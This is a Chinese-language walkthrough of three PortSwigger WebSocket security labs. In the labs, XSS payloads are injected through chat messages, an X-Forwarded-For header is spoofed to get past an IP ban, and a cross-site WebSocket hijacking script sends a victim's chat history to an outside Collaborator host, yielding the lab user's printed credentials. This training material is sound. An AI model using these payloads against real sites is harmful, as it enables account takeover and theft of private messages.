burp靶场--WebSockets安全漏洞

burp靶场–WebSockets安全漏洞

https://portswigger.net/web-security/websockets/what-are-websockets

### 什么是 WebSocket?
WebSocket是一种通过 HTTP 发起的双向、全双工通信协议。它们通常在现代 Web 应用程序中用于流数据和其他异步流量。
在本节中,我们将解释 HTTP 和 WebSocket 之间的区别,描述如何建立 WebSocket 连接,并概述 WebSocket 消息的外观。### HTTP 和 WebSocket 之间有什么区别?
Web 浏览器和网站之间的大多数通信都使用 HTTP。使用 HTTP,客户端发送请求,服务器返回响应。通常,响应立即发生,并且事务完成。即使网络连接保持打开状态,这也将用于请求和响应的单独事务。
一些现代网站使用 WebSocket。WebSocket 连接是通过 HTTP 发起的,并且通常是长期存在的。消息可以随时向任一方向发送,并且本质上不是事务性的。连接通常会保持打开和空闲状态,直到客户端或服务器准备好发送消息。WebSocket 在需要低延迟或服务器启动消息的情况下特别有用,例如实时提供财务数据。
WebSocket 连接是如何建立的?
WebSocket 连接通常使用客户端 JavaScript 创建,如下所示:
var ws = new WebSocket("wss://normal-website.com/chat");
笔记
该wss协议通过加密的 TLS 连接建立 WebSocket,而该ws协议则使用未加密的连接。为了建立连接,浏览器和服务器通过 HTTP 执行 WebSocket 握手。浏览器发出如下 WebSocket 握手请求:GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,它将返回一个 WebSocket 握手响应,如下所示:HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,可用于在任一方向发送 WebSocket 消息。笔记
WebSocket 握手消息的几个特点值得注意:请求和响应中的 和 标头表明这是一次 WebSocket 握手Connection。Upgrade
请求Sec-WebSocket-Version标头指定客户端希望使用的 WebSocket 协议版本。这通常是13.
请求Sec-WebSocket-Key标头包含一个 Base64 编码的随机值,该值应在每次握手请求中随机生成。
响应Sec-WebSocket-Accept标头包含请求标头中提交的值的哈希值Sec-WebSocket-Key,与协议规范中定义的特定字符串连接。这样做是为了防止由于错误配置的服务器或缓存代理而导致误导性响应。
WebSocket 消息是什么样的?
一旦建立了 WebSocket 连接,客户端或服务器就可以在任一方向上异步发送消息。可以使用客户端 JavaScript 从浏览器发送一条简单的消息,如下所示:ws.send("Peter Wiener");
原则上,WebSocket 消息可以包含任何内容或数据格式。在现代应用程序中,JSON 通常用于在 WebSocket 消息中发送结构化数据。
例如,使用 WebSocket 的聊天机器人应用程序可能会发送如下消息:
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}

实验1:操纵WebSocket消息以利用漏洞

### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
支持代理会实时查看您提交的聊天消息。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
使用浏览器发送包含字符的新消息<。
在Burp Proxy中,找到对应的WebSocket消息,观察到该消息<在发送前已经被客户端进行了HTML编码。
确保 Burp 代理配置为拦截 WebSocket 消息,然后发送另一条聊天消息。
编辑截获的消息以包含以下有效负载:<img src=1 onerror='alert(1)'>
观察浏览器中是否触发了警报。这也会发生在支持代理的浏览器中。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验2:跨站WebSocket劫持【注意实验实验高版本burp和火狐浏览器】

###
该在线商店具有使用WebSockets 实现的实时聊天功能。
要解决该实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 有效负载,该有效负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用此访问权限访问其帐户。###
单击“实时聊天”并发送聊天消息。
重新加载页面。
在 Burp Proxy 的 WebSockets 历史记录选项卡中,观察“READY”命令从服务器检索过去的聊天消息。
在 Burp Proxy 的 HTTP 历史记录选项卡中,找到 WebSocket 握手请求。请注意,该请求没有CSRF令牌。
右键单击握手请求并选择“复制 URL”。
在浏览器中,转到漏洞利用服务器并将以下模板粘贴到“正文”部分:<script>var ws = new WebSocket('wss://your-websocket-url');ws.onopen = function() {ws.send("READY");};ws.onmessage = function(event) {fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});};
</script>
替换your-websocket-url为 WebSocket 握手中的 URL ( YOUR-LAB-ID.web-security-academy.net/chat)。确保将协议从 更改https://为wss://。替换为Burp Collaboratoryour-collaborator-url生成的有效负载。
单击“查看漏洞利用”。
在“协作者”选项卡中轮询交互。验证攻击是否已成功检索您的聊天历史记录并通过 Burp Collaborator 进行泄露。对于聊天中的每条消息,Burp Collaborator 都会收到一个 HTTP 请求。请求正文包含 JSON 格式的聊天消息的完整内容。请注意,这些消息可能无法按正确的顺序接收。
返回漏洞利用服务器并将漏洞利用程序传递给受害者。
再次轮询“协作者”选项卡中的交互。请注意,您收到了更多包含受害者聊天历史记录的 HTTP 交互。检查这些消息并注意到其中一封包含受害者的用户名和密码。
使用窃取的凭据登录受害者用户的帐户。

实验聊天窗口向服务端发送消息,查看代理中websockets历史:
在这里插入图片描述
在Burp代理的HTTP历史记录选项卡中,找到WebSocket握手请求。观察请求是否没有CSRF令牌

右键单击握手请求并选择"复制URL"
在这里插入图片描述
在hacker控制的web服务器托管恶意js脚本:

<script>var ws = new WebSocket('wss://your-websocket-url');ws.onopen = function() {ws.send("READY");};ws.onmessage = function(event) {fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});};
</script>我的是:
<script>var ws = new WebSocket('wss://0ad7004203c4c9098311a5b000800096.web-security-academy.net/chat');ws.onopen = function() {ws.send("READY");};ws.onmessage = function(event) {fetch('https://nulw7almcuxdaey4o9j6r1rlyc43sugj.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});};
</script>

在这里插入图片描述
在这里插入图片描述
凭据:carlos: fj83hbdbohtky68riu8b
然后攻击者利用凭据登陆了用户的账户:
在这里插入图片描述

实验3:操纵WebSocket握手来利用漏洞

### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
它有一个激进但有缺陷的 XSS 过滤器。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
右键单击该消息并选择“发送到转发器”。
编辑并重新发送包含基本 XSS 负载的消息,例如:<img src=1 onerror='alert(1)'>
请注意,攻击已被阻止,并且您的 WebSocket 连接已终止。
单击“重新连接”,并观察连接尝试失败,因为您的 IP 地址已被禁止。
将以下标头添加到握手请求中以欺骗您的 IP 地址:X-Forwarded-For: 1.1.1.1
点击“连接”即可成功重新连接WebSocket。
发送包含混淆的 XSS 负载的 WebSocket 消息,例如:<img src=1 oNeRrOr=alert`1`>

查看在线聊天的wss流量,将其中自己发送的一条消息的wss包发送到 repeater:
在这里插入图片描述
插入xss代码重放,被过滤器拦截,中断了wss连接:
在这里插入图片描述
在这里插入图片描述
修改websockets的请求重连的数据包:x-forwarded-for:1.1.1.1绕过服务器ip封锁:重新建立wss连接:
在这里插入图片描述
再次插入xss重放,攻击浏览器客户端成功:
在这里插入图片描述

参考:

### portswigger:官方websockets实验:
https://portswigger.net/web-security/websockets/what-are-websockets
### 【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验(全)
https://blog.csdn.net/qq_53079406/article/details/128715771
### PayloadsAllTheThings:Web Sockets
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Web%20Sockets
### owasp测试 WebSocket:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/651286.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT 官方中文页面上线

根据页面显示&#xff0c;OpenAI 现已推出 ChatGPT 的多语言功能 Alpha 版测试&#xff0c;允许用户选择不同语言的界面进行交互。 如下图所示&#xff0c;ChatGPT 会检测系统当前所使用的语言&#xff0c;并提示用户进行语言切换。 用户也可通过设置页面选择其他语言。目前&a…

Linux之系统安全与应用

Linux系统提供了多种机制来确保用户账号的正当&#xff0c;安全使用。 系统安全措施 一. 清理系统账号 1.1 将用户设置为无法登录 Linux系统中除手动创建的各种账号外&#xff0c;还包括随系统或程序安装过程而生成的其他大量账号。除了超级用户root以外&#xff0c;其他的…

免费开源的微信小程序源码、小游戏源码精选70套!

微信小程序已经成为我们日常的一部分了&#xff0c;也基本是每个程序员都会涉及的内容&#xff0c;今天给大家分享从网络收集的70个小程序源码。其中这些源码包含&#xff1a;小游戏到商城小程序&#xff0c;再到实用的工具小程序&#xff0c;以及那些令人惊叹的防各大站点的小…

【Linux】文件描述符 | 重定向 | C文件指针与fd的关系 | 用户级缓冲区

文章目录 一、文件描述符1. 理解&#xff1a;Linux下一切皆文件2. 文件描述符&#xff08;fd&#xff09;的概念3. 文件描述符的分配规则4. 进程创建时默认打开的 0 & 1 & 2 号文件 二、重定向1. 重定向的本质2. 使用dup2系统调用函数3. bash下的三种重定向4. 三种重定…

全面理解“张量”概念

1. 多重视角看“张量” 张量&#xff08;Tensor&#xff09;是一个多维数组的概念&#xff0c;在不同的学科领域中有不同的应用和解释&#xff1a; 物理学中的张量&#xff1a; 在物理学中&#xff0c;张量是一个几何对象&#xff0c;用来表示在不同坐标系下变换具有特定规律的…

(N-141)基于springboot,vue网上拍卖平台

开发工具&#xff1a;IDEA 服务器&#xff1a;Tomcat9.0&#xff0c; jdk1.8 项目构建&#xff1a;maven 数据库&#xff1a;mysql5.7 系统分前后台&#xff0c;项目采用前后端分离 前端技术&#xff1a;vueelementUI 服务端技术&#xff1a;springbootmybatis-plusredi…

GNS3连接Vmware虚拟机

1 安装配置Gns3、Vmware 安装过程略&#xff0c;最终版本号&#xff1a; Gns3&#xff1a;2.2.44.1 Vmware&#xff1a;17.0 建议保持一致&#xff0c;特别是Gns3&#xff0c;功能虽然强大的&#xff0c;但bug问题感觉也不少 2 虚拟机配置 新建两台Ubuntu 22.04虚拟机&#…

【JavaScript权威指南第七版】读书笔记速度

JavaScript权威指南第七版 序正文前言&#xff1a;图中笔记重点知识第1章 JavaScript简介第一章总结 第2章 词法结构注释字面量标识符和保留字Unicode可选的分号第二章总结 第3章 类型、值和变量【重要】原始类型特殊类型第三章总结 第4章 表达式与操作符表达式操作符条件式调用…

【JAVA面试精选篇-初生牛犊不怕虎】

文章目录 🌽 简介🧺 线程池🌄 Redis⏰ JVM🚛 数据结构🍎 Mysql🍡 结语🌽 简介 海阔凭鱼跃,天高任鸟飞! 学习不要盲目,让大脑舒服的方式吸收知识!!! 本人马上离开济南,回泰安发展,为了积极准备面试,目前在梳理一些知识点,同时希望能够帮助到需要的人… …

Rabbitmq调用FeignClient接口失败

文章目录 一、框架及逻辑介绍1.背景服务介绍2.问题逻辑介绍 二、代码1.A服务2.B服务3.C服务 三、解决思路1.确认B调用C服务接口是否能正常调通2.确认B服务是否能正常调用A服务3.确认消息能否正常消费4.总结 四、修改代码验证1.B服务异步调用C服务接口——失败2.将消费消息放到C…

智能AI系统开发,专业软件硬件物联网开发公司,探索未来科技新纪元

在信息时代&#xff0c;人工智能&#xff08;AI&#xff09;、物联网等前沿技术日益受到人们的关注。智能AI系统、专业软件硬件物联网开发公司应运而生。今天&#xff0c;我们将向大家介绍一家位于XX城的专业公司&#xff0c;致力于智能AI系统开发和软件硬件物联网领域的创新研…

大数据安全 | 期末复习(下)

文章目录 &#x1f4da;安全策略和攻击&#x1f34b;&#x1f407;安全协议&#x1f407;IPsee&#x1f407;SSL&#x1f407;SSH&#x1f407;S/MIME协议&#x1f407;公钥基础设施PKI&#x1f407;PGP&#x1f407;HTTPS&#x1f407;防火墙&#x1f407;防毒墙&#x1f407;…

解决:‘chromedriver’ executable needs to be in PATH

解决&#xff1a;chromedriver’ executable needs to be in PATH 文章目录 解决&#xff1a;chromedriver’ executable needs to be in PATH背景报错问题报错翻译报错位置代码报错原因解决方法方法一&#xff1a;检查python安装路径有没有添加到环境变量里面方法二&#xff1…

谷歌vue插件安装包

链接&#xff1a;https://pan.baidu.com/s/1wTCqn7ttc-rF_wZScfEgPw?pwde7k6 提取码&#xff1a;e7k6 修改D:\谷歌浏览器插件安装包\devtools-main\packages\shell-chrome下manifest.json文件 将里面这四个文件地址改为src下面&#xff0c;因为地址在src下&#xff0c;直接…

基于Guava布隆过滤器的海量字符串高效去重实践

在Java环境中处理海量字符串去重的问题时&#xff0c;布隆过滤器&#xff08;BloomFilter&#xff09;是一种非常高效的数据结构&#xff0c;尽管它有一定的误报率。布隆过滤器适用于那些可以接受一定误报率&#xff0c;并且希望节省空间和时间成本的场景。 布隆过滤器应用 使…

Fastjson代码审计实战

代码审计-漏洞复现 漏洞分析采用的是华夏ERP2.3&#xff0c; 查看pom.xml文件发现fastjson版本1.2.55&#xff0c;该版本存在漏洞&#xff0c;利用DNSlog进行验证。 fastjson涉及反序列化的方法有两种&#xff0c;JSON.parseObject()和JSON.parse()&#xff0c;在代码中直接搜…

MySQL 联合索引

文章目录 1.简介2.最左匹配3.最左匹配原理4.如何建立联合索引?5.覆盖索引参考文献 1.简介 联合索引指建立在多个列上的索引。 MySQL 可以创建联合索引&#xff08;即多列上的索引&#xff09;。一个索引最多可以包含 16 列。 联合索引可以测试包含索引中所有列的查询&#…

关于在Ubuntu20.04(ROS1 noetic)中使用catkin_make编译时发生的与pyhton版本不兼容的问题解决办法

今天在另外一台电脑上操作复现【ROS建模&#xff1a;一起从零手写URDF模型】这个博客时&#xff0c;发生了一些问题&#xff0c;特此记录下来 【ROS建模&#xff1a;一起从零手写URDF模型】链接&#xff1a;https://blog.csdn.net/qq_54900679/article/details/135726348?spm…

JasperReports渲染报表文件时候,读取图片报错:Byte data not found at:xxx.png.\r\n\tat

目录【知识星球】 1.1、错误描述 1.2、解决方案 1.1、错误描述 最近在工作中&#xff0c;使用JasperReports报表比较多一些&#xff0c;有次线上环境里面运行报错&#xff0c;查看报错日志&#xff0c;如下所示&#xff1a; net.sf.jasperreports.engine.JRException: Byte…

Spring Boot 启动错误【Kotlin】

目录 错误详情 错误原因 解决方法一 解决方法二 错误详情 Kotlin:     Module was compiled with an incompatible version of Kotlin.     The binary version of its metadata is 1.7.1, expected version is 1.1.16. 错误原因 编译器或构建工具的版本不匹配所造…